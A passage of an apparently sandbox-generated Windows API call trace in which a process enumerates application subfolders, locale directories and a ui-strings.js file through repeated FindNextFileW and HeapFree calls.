ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1 [0265.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54c0048 | out: hHeap=0x630000) returned 1 [0265.468] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0265.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.505] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0265.540] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.540] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0265.540] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0265.540] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0265.540] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0265.541] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0265.541] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0265.541] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0265.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.563] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0265.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.563] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0265.564] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.564] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0265.564] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.564] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0265.565] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.565] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0265.566] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.566] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0265.566] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.566] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0265.580] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.580] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0265.583] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.583] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0265.583] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.583] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0265.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.584] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0265.705] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.705] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0265.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.876] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0265.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.876] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0265.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.876] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0265.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.877] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0265.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.877] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0265.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.877] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0265.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.877] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0265.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.877] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0265.877] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.877] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0265.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.878] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0265.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.878] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0265.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.878] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0265.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.878] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0265.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.878] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0265.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.878] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0265.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.879] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0265.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.879] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0265.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.879] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0265.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.879] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.879] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0265.879] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.879] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0265.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0265.880] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, 